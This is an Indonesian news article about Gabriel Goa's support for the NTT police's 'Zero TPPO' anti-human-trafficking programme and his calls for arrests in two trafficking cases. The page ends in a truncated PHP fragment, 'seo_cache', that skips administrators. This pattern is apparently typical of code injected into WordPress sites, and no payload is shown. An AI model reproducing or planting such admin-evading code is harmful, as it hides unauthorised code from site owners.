Hukum

Gabriel Goa Dukung Penuh Program NTT Zero TPPO, Desak Penangkapan Pelaku dan Aktor Intelektual Perdagangan Orang

×

Gabriel Goa Dukung Penuh Program NTT Zero TPPO, Desak Penangkapan Pelaku dan Aktor Intelektual Perdagangan Orang

Sebarkan artikel ini

JAKARTA, MENARASUMBA.COM – Tenaga Ahli Menteri HAM Bidang Human Trafficking, Gabriel Goa menyatakan dukungan penuh terhadap komitmen Kapolda NTT dalam menjalankan program NTT Zero TPPO sebagai upaya memberantas tindak pidana perdagangan orang (TPPO) di wilayah Nusa Tenggara Timur.

Menurutnyaa, tekad dan komitmen Kapolda NTT harus mendapat dukungan dari seluruh elemen masyarakat, dengan jajaran Polda NTT dan Polres se-NTT menjadi garda terdepan dalam pencegahan dan penindakan kasus perdagangan orang.

Sebagai bentuk nyata penanganan serius terhadap TPPO dan kepedulian terhadap korban, Gabriel Goa menyampaikan beberapa tuntutan dan harapan.

Pertama, mengajak seluruh pihak untuk memberikan dukungan kepada Mariance Kabu yang sedang memperjuangkan keadilan terkait kasus yang dialaminya di Malaysia.

Ia juga meminta Polda NTT, bekerja sama dengan Mabes Polri dan Gugus Tugas Pencegahan dan Penanganan TPPO, segera menangkap serta memproses hukum pelaku maupun aktor intelektual yang diduga terlibat dalam kasus tersebut.

Kedua, mendesak Polres Ngada bersama Polda NTT dan Gugus Tugas Pencegahan dan Penanganan TPPO untuk segera menangkap dan memproses hukum pelaku serta aktor intelektual dalam kasus TPPO yang menimpa Yuliana Dopo.

“Hingga saat ini pihak-pihak yang diduga terlibat masih bebas berkeliaran dan belum tersentuh proses hukum,” tandasnya.

Ketiga, mengajak seluruh pemangku kepentingan untuk membangun kolaborasi hexahelix yang melibatkan pemerintah, aparat penegak hukum, dunia usaha, akademisi, media, dan masyarakat sipil guna mendukung program NTT Zero TPPO.

Kolaborasi tersebut diarahkan pada penguatan upaya pencegahan perdagangan orang dan edukasi migrasi aman di seluruh desa dan kelurahan di NTT.

Selain itu, Gabriel Goa juga mendorong pembangunan fasilitas pendukung perlindungan pekerja migran, seperti Balai Latihan Kerja (BLK), Layanan Terpadu Satu Atap (LTSA) Pekerja Migran Indonesia, serta rumah aman bagi korban TPPO.

“Perdagangan orang merupakan kejahatan kemanusiaan yang harus dilawan secara bersama-sama. Pencegahan, perlindungan korban, dan penegakan hukum yang tegas menjadi kunci untuk mewujudkan NTT bebas dari TPPO,” tegasnya.

Program NTT Zero TPPO diharapkan menjadi gerakan bersama untuk menekan angka perdagangan orang sekaligus memberikan perlindungan yang lebih kuat bagi masyarakat Nusa Tenggara Timur yang rentan menjadi korban eksploitasi dan perdagangan manusia. ( TAP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>